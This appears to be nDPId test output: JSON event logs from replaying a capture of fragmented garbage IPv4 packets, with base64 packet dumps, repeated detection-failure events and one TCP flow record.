+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4371,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":653279,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWkAGQ1cKAAACCoAAAlYKNDIxNDYzMTk4MjA1MSk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4371,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4372,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":653310,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXEAGQ1UKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4372,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4373,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":653322,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXkAGQ1MKAAACCoAAAiZeJSQjcnNkbHVoZ2tmZHM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4373,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4374,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":653337,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYEAGQ1EKAAACCoAAAmJrbnZjLy50Z2Z0Zz9HUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4374,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4375,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":653349,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYkAGQ08KAAACCoAAAkdSP3NSPzc0ODM5NikoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4375,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4376,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":653360,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZEAGQ00KAAACCoAAAl4lJCNAIUAjJCVeJiooKSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4376,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4377,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":653377,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZkAGQ0sKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4377,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4378,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":653389,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiaEAGQ0kKAAACCoAAAl4lJCMmKihLSUpIR0ZEMio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4378,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4379,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":653400,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiakAGQ0cKAAACCoAAAiZERkdISksmXiUkIyNFVFI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4379,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4380,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":653414,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibEAGQ0UKAAACCoAAAiVZXlUmSSpPUHsiOmhkZmw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4380,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4381,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":653426,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibkAGQ0MKAAACCoAAAmtkYT5MPE1OQkhHRkRFVyM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4381,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00369{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4382,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":653442,"pkt_caplen":42,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":42,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAcAKACcEAGY0kKAAACCoAAAkAkJV5IQkdW"} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4382,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":8} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4383,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":1,"flow_first_seen":1534244028953,"flow_last_seen":0,"flow_tot_l4_data_len":16,"flow_min_l4_data_len":16,"flow_max_l4_data_len":16,"flow_avg_l4_data_len":16,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.2","dst_ip":"10.128.0.2","src_port":2612,"dst_port":12849,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00424{"flow_id":15,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4383,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":953588,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":16,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAEAGRbEKAAACCoAAAgo0MjE0NjMxOTgyMDUxKSh91wAA"} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4384,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":953636,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAkAGRa8KAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4384,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4385,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":953643,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBEAGRa0KAAACCoAAAl4lJCNyc2RsdWhna2Zkc2I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4385,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4386,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":953651,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBkAGRasKAAACCoAAAmtudmMvLnRnZnRnP0dSP0c="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4386,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4387,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":953660,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCEAGRakKAAACCoAAAlI\/c1I\/NzQ4Mzk2KSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4387,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4388,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":953668,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCkAGRacKAAACCoAAAiUkI0AhQCMkJV4mKigpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4388,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4389,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":953678,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDEAGRaUKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4389,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4390,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":953686,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDkAGRaMKAAACCoAAAiUkIyYqKEtJSkhHRkQyKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4390,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4391,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":953695,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEEAGRaEKAAACCoAAAkRGR0hKSyZeJSQjI0VUUiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4391,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4392,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":953741,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEkAGRZ8KAAACCoAAAlleVSZJKk9QeyI6aGRmbGs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4392,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4393,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":953749,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFEAGRZ0KAAACCoAAAmRhPkw8TU5CSEdGREVXI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4393,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4394,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":953756,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFkAGRZsKAAACCoAAAiQlXkhCR1YKNDIxNDYzMTk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4394,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4395,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":953764,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGEAGRZkKAAACCoAAAjgyMDUxKSgqJl4lJCNAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4395,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4396,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":953772,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGkAGRZcKAAACCoAAAiVeJiooKiZeJSQjcnNkbHU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4396,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4397,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":953779,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHEAGRZUKAAACCoAAAmhna2Zkc2JrbnZjLy50Z2Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4397,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4398,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":953787,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHkAGRZMKAAACCoAAAnRnP0dSP0dSP3NSPzc0ODM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4398,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4399,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":953799,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIEAGRZEKAAACCoAAAjk2KSgqJl4lJCNAIUAjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4399,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4400,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":953807,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIkAGRY8KAAACCoAAAl4mKigpKComXiUkI0AjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4400,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4401,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":953816,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJEAGRY0KAAACCoAAAl4mKigqJl4lJCMmKihLSUo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4401,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4402,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":953824,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJkAGRYsKAAACCoAAAkhHRkQyKiZERkdISksmXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4402,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4403,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":953831,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKEAGRYkKAAACCoAAAiQjI0VUUiVZXlUmSSpPUHs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4403,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4404,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":953838,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKkAGRYcKAAACCoAAAiI6aGRmbGtkYT5MPE1OQkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4404,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4405,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":953846,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLEAGRYUKAAACCoAAAkdGREVXI0AkJV5IQkdWCjQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4405,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4406,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":953857,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLkAGRYMKAAACCoAAAjIxNDYzMTk4MjA1MSkoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4406,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4407,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":953865,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMEAGRYEKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4407,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4408,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":953873,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMkAGRX8KAAACCoAAAiQjcnNkbHVoZ2tmZHNia24="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4408,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4409,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":953884,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgNEAGRX0KAAACCoAAAnZjLy50Z2Z0Zz9HUj9HUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4409,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4410,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":953896,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgNkAGRXsKAAACCoAAAnNSPzc0ODM5NikoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4410,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4411,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":953907,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgOEAGRXkKAAACCoAAAiNAIUAjJCVeJiooKSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4411,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4412,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":953914,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgOkAGRXcKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4412,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 